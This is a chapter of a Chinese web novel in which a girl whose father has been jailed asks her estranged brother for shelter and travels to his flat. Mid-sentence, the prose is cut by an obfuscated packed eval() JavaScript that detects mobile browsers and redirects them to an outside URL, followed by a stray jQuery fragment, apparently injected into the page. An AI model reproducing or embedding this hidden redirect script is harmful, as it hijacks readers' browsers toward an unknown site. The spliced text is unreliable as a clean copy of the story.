二零一零年六月中旬，霖城进入了黏腻、闷热的梅雨季。
招待所的窗户关不严，风从缝隙里挤进来，窗帘被吹得鼓起来又落下去，带着潮湿的霉味。
梁鲸坐在床沿，胸口隐隐发闷。
她手里握着老式的按键手机，指节攥紧又松开，迟迟没有拨通那个号码。
号码的备注只有一个单字，“哥”。
代表着他们以前的关系，而现在他们不再是兄妹了。
在梁鲸十五岁那年，家里发生了翻天覆地的变化，妈妈因病去世，爸爸与哥哥大吵一架。
她至今都记得，爸爸怒火中烧的脸庞，对着哥哥吼出那句：“从今往后，你和这个家没有关系了。”
十五岁的梁鲸不明白什么叫做没有关系。
只知道梁弛这个名字从梁家的户口本上分割出去。
后来，隔着三年时间，十八岁的梁鲸懂了。
没有关系就是，她走她的路，他过他的桥，哪怕她在这个世界上没有任何亲人可以依靠，她也不该打那个电话。
可是她实在不知道该打给谁了。
梁鲸低头看着手机屏幕，上边有划痕，字体不是很清晰，“哥”这个备注不停地闪烁着。
犹豫片刻，她按下了拨号键。
等待音嘟了好几声，梁鲸心跳起伏，她不确定梁弛会不会接，毕竟这三年里他们从未通过电话。
爸爸不许她再提起哥哥。
梁弛对她一贯冷漠，又走得决绝，她也不敢贸然联系他，只有逢年过节编辑一条祝福短信发给他，有时他会简单回复一个“嗯”，有时索性得不到回复。
梁鲸呼吸有些急促，直到等待音停止，电话接通，她的心脏才像是落回胸腔。
她听到一阵杂音，他大约在路上，那端有车流声，有人声，很嘈杂。
他没有说话，梁鲸一时之间也不知道怎么开口，喉咙像是被堵住，沉默好一会儿才喊了一声“哥”。
梁弛没有应。
梁鲸心里一慌，害怕他是没听出来她的声音，她连忙说：“是我，梁鲸。”
那端终于有了回应，语调沉沉：“我知道。”
只有这三个字。
梁鲸哑然，不知道该怎么回。
那端又问：“什么事？”
声音平静得听不出情绪。
这是三年以来第一次听见他的声音，梁鲸鼻尖莫名一酸，说不清是因为当下境况的窘迫，还是心底压着的委屈。
她深吸一口气，缓缓说：“爸被抓了，家里的房子也被法拍了，我没地方去……”
她声音很小，带着点压抑的哭腔，陈述了一个走投无路的事实。少女那点薄薄的自尊心，让她没再往下说。
梁弛语气依旧淡，接了一句：“所以呢？”
梁鲸不吭声了，她向来都不太懂他，也猜不出这句话里的未竟之语，是“和我有什么关系”，还是“你想让我怎么做”。
她吸了吸鼻子，止不住咳嗽了几声，又怕他觉得烦，刻意忍耐下来。
梁弛就这样静默地听着她的声音。
梁鲸缓了一会儿，鼓起勇气问：“你能不能收留我一段时间？”
她知道这个请求可能有些冒昧。
她对梁弛那边的情况所知甚少，只知道他在遂市上大学，现在是大三学期末，他可能住在学校宿舍，她过去了都不一定有地方住。
但现下，他是她唯一能抓住的稻草。
“一段时间。”梁弛重复着这个词，顿了顿，问她：“是多久？”
梁鲸被噎了下。
实际上，她自己也不太确定。
她这些天一直处于彷徨无措当中，以后怎么办，她没想过，只求暂时能有个落脚的地方。
“三…”刚发出一个音节，她又改口，“两个月，两个月时间。”
电话里安静许久，耳旁只剩下微弱的电流声。
之后，梁鲸听到一声若有似无的哼笑。
紧接着，梁弛说：“地址发你，自己过来。”
梁鲸慢了半拍才反应过来，这是答应的意思。
她握着手机的掌心松了松，要说谢谢，电话却已被挂断。
梁鲸怔了下，仍保持着手机贴在耳侧的姿势，过了会儿才缓慢地放下来。
此时屏幕亮了一下，有一条新的短信进来。
是梁弛发来的地址。
看上去像是一个单元楼，而不是学校。
他在校外租房住吗？
她有一瞬走神。
窗外的雨不知何时停了，夕阳从云层缝隙里漏下来，把房间染成昏黄色。
梁鲸盯着这条短信，眼底微涩。
一滴泪悄无声息地落在屏幕上，世界连同这行字都变得模糊不清，却又在擦干眼泪后再次清晰。
收好手机，梁鲸走出招待所，在附近随便吃了点东西垫肚子，又去了车站的售票窗口。
从霖城到遂市最快的一趟列车是次日早上八点多发车，下午五点抵达。
她买完车票回去，将车票和身份证放在书包的内侧口袋里。
房间里的热水不太稳定，她没洗澡，只把毛巾打湿简单擦了下。
睡前，梁鲸从书包里翻出一瓶药，用量杯倒了五毫升喝下。这是她的常备药，化痰清肺的维持性药物，每天都要吃。
父亲最后一次给她买是在出事前，现在还剩三瓶。另外两瓶未拆封，在行李箱里。
除了这个，还有一瓶备用的气雾剂，平时用不到，是喘不上气时急救的。
这两款都是进口原研药，常年用药对于普通家庭来说是一笔不小的开支，其实也有国产仿制药可以替代，但她爸爸坚持要用效果最好、副作用最小的药。
房间没有空调，头顶的老式吊扇吱呀呀转着，吹出来的风都是温热的。天花板的角落有一块洇开的水渍，形状像小狗的轮廓。
梁鲸躺在床上，盯着看了会儿，思绪飘远。
想起了爸爸梁世宏。
从她高三下学期刚开始，就隐隐感觉到不太对劲了。
爸爸那段时间话变少了，回家越来越晚，有时候她半夜醒来，还能看见客厅的灯亮着，爸爸眉目凝重，问她怎么还没睡，说话时嘴巴里飘出来一丝烟味。
茶几上并没有烟头，爸爸大概是在外面抽完才进来的，他可能没料到她这个点会出来。
因为肺不好的缘故，她对味道特别敏感。
爸爸已经很多年不抽烟，他说年轻的时候抽，她出生后就戒烟了。
最近不知道什么原因又开始抽。
她问怎么了。
爸爸只说单位事多，加班。
他这么说，她也就相信了。那时候她正忙着准备高考，没有多余的精力去想别的。
偶尔爸爸会问她想考哪所大学。
她说了几个志愿。
爸爸笑着摸了摸她的头。
那天是个寻常周末下午，她亲眼看着爸爸被带上车，他回过头望向她，有愧疚，有不舍，还有太多其他的情绪，与警笛声一同消失在街角。
她是之后才知道的，爸爸是厂里的会计，这些年为了给她买进口药，利用职务之便做了不少违法的事，一开始只是小数目，越滚越大，终于压不住了。
高考前夕，父亲的判决下来了。
八年。
高考那天，她坐在考场，盯着语文试卷上的作文题，脑子里一片空白。不断回想起爸爸上车前的眼神，以及他的判决书。
后边几科，也明显不在状态。
她知道考砸了。
虽然成绩还没有下来，但肯定和那几所志愿学校无缘，估计连本科线都过不去。
高考结束，她的去处也成了问题。
她爸爸被抓，那些亲戚对她家避之不及，生怕被牵连。她也成年了，别人对她没有抚养义务，更何况她的病需要常年吃药，是个无底洞。
梁鲸翻了个身，将脸面朝墙壁，闭上眼睛强迫自己不去想这些事。
最起码现在有地方去了。
虽然哥哥听起来不太情愿，但他最终还是答应收留她了。
天蒙蒙亮时，梁鲸醒了。
简单洗漱了一下，她背着书包，拎着行李箱下楼退房。招待所离车站很近，她顺路买了早餐边走边吃。
火车是八点十五分发车。
梁鲸找到座位，靠近窗户的位置。
她把书包放在腿上，行李箱塞进座位底下，然后拿了一本书出来。其实并不能看进去，只是想找个事情做，让自己显得不那么无聊。
火车开动了。
梁鲸抬眼看向车窗外，霖城的街景慢慢往后退，越退越快，最后什么都看不清了。
她低头，书里还夹着一张照片，边缘有些磨损，画面中的人物还算清晰。
是一家四口的全家福。
她看了会儿，把书合上，紧紧抱在怀里。
火车准时到站，梁鲸顺着人流往外走。
遂市的夏天比霖城要热，人群挤来挤去，她呼吸变得急促，却没停下来，继续往前走。
过了出站口走到室外，她停下来坐在行李箱上，深深呼吸了几口才打开手机翻出那条短信。
她是第一次来遂市，对路线一无所知。
最简单的办法就是打一辆出租车，把地址告诉司机。司机常年在城市里跑，对路线再熟悉不过。
可是打出租车就意味着要比坐公交花费高出很多。
之前爸爸给她的生活费，现在还剩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458914|201250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二百多块在她书包里，她想省着点用。
如果打出租车太贵的话，她还是问问路再坐公交算了，就是会热一点累一点。
梁鲸拖着行李箱又往前走了一段路，经过广场，站在路边。
等客的司机立刻热情地问她要去哪。
梁鲸把地址给司机看，她先问：“去这个地方，大概要多少钱啊？”
司机眯眼看手机屏幕上的字，眉头动了动，说：“这得打表才知道。”
梁鲸把手机收回来，犹豫了下，坦诚地说：“那您大概估一下行吗？我身上钱不多……要是太贵我就不坐了。”
司机原本是想绕段路，打表收个高价的。
一听这话，怕说太贵错过这单生意，赚得不多总比没得赚强，于是估了个正常价位，“二十块左右吧，放心吧，不坑你，小姑娘出门在外也不容易。”
这个价位在梁鲸可以接受的范围内，她点了点头，说行。
司机帮她把行李箱放进后备箱，梁鲸坐在后座，又给司机报了一遍地址。
车子驶入车流，梁鲸望着窗外陌生的街景，手心微微出汗。
大约二十分钟后，出租车停在一栋老旧的筒子楼前。
车里没开空调，梁鲸后脖颈出了些汗，碎发黏在皮肤上，她此刻也无暇顾及，伸手拉开车门。
下午五点多钟，太阳缓慢西移，光是斜映过来的，打在筒子楼上，外墙半明半暗。
梁鲸微微抬眸，墙面斑驳，爬山虎从墙角攀上去，枝叶繁茂。
她只看了一眼，收回视线。
司机下车去开后备箱，她也跟着下车，完全没注意到，在那面墙光影分界处，窗户内有一道目光紧紧锁住她。
年轻男人靠窗而立，垂眼望着楼下。
女孩正低头翻找书包里的钱，一张一张叠得很平整，递给司机。
司机拿到钱，开着车扬长而去。
她仍呆呆地站在原地，把书包夹层里剩余的钱又数了一遍。
三年过去，还是那副可怜兮兮的样子。
梁弛轻嗤了声，转身去到书桌上，拿起手机编辑了一条短信发过去。
楼下。
梁鲸一脸茫然地站在原地，地址只到这里，没写具体哪一户。
她看着眼前的筒子楼，楼道口堆着几辆自行车，以楼道为界，左右各三户，由一条外走廊串联起来。
一共五层，也就是三十户。
她犹豫着要不要找人打听一下。
手机在这时响了，她拿起来看。
【三楼左手边第一户。】
梁鲸看着屏幕，又仰头看了下位置。
三楼，也还好。
她提着行李箱开始爬楼梯。
楼道很窄，楼梯是水泥的，扶手上积着灰。
她拎着行李箱，走得很慢。
平时上下楼梯倒还好，提着箱子就有些吃力了，她走到二楼就开始喘，于是停下来，靠在墙上歇了一会儿，然后继续往上。
终于到三楼。
比想象中要累。
她把行李箱放下，靠在墙边喘气，额头上沁出细细的汗。
左边第一户，就在她手边，梁鲸刚要敲门，门就从里面打开了。
她稍稍怔了下。
眼前的男人穿着件黑色的T恤，额前碎发分出不太明显的弧度，脸上的轮廓更深了，漫不经心耷拉着眼皮，漆黑的眼瞳里没什么情绪。
梁鲸手还抬着，忙收回来喊了一声：“哥……”
因为爬了三层楼，她气息不稳，脸颊还泛着生理性的红。
梁弛没应，盯着她的脸。
他眸色深，眼皮都不眨一下，目光如有实质。梁鲸被看得心里没底，不自觉蜷起手指。
约莫有半分钟，这道目光放过了她，看向她旁边的行李箱。梁弛问：“就这些？”
梁鲸如释重负般轻轻点头。
房子被贴了封条，她只能带走自己的私人物品。
梁弛移开视线，侧了侧身。
他没说话，但这个动作是默认让她进去。梁鲸抿了抿唇，拎着行李箱走进房间。
房间比从外边看着要大。
一张单人床靠墙摆放，床单看起来像是新换的，没有褶皱，边角掖得整整齐齐。床边有个衣柜，床边放着书桌和椅子，桌上有书架和一台旧电脑。
再往里，一侧是阳台，但被他当厨房用了，简易灶台上放着一个小电锅。
另一侧是卫生间，门紧紧关着。
房间里的格局一眼望尽。
梁鲸站在门口，有种很强烈的外来者的感觉，而房间的主人抱臂看着她，站得并不直，些许懒散。
语调冷淡地开口：“住两个月，想好怎么还了吗？”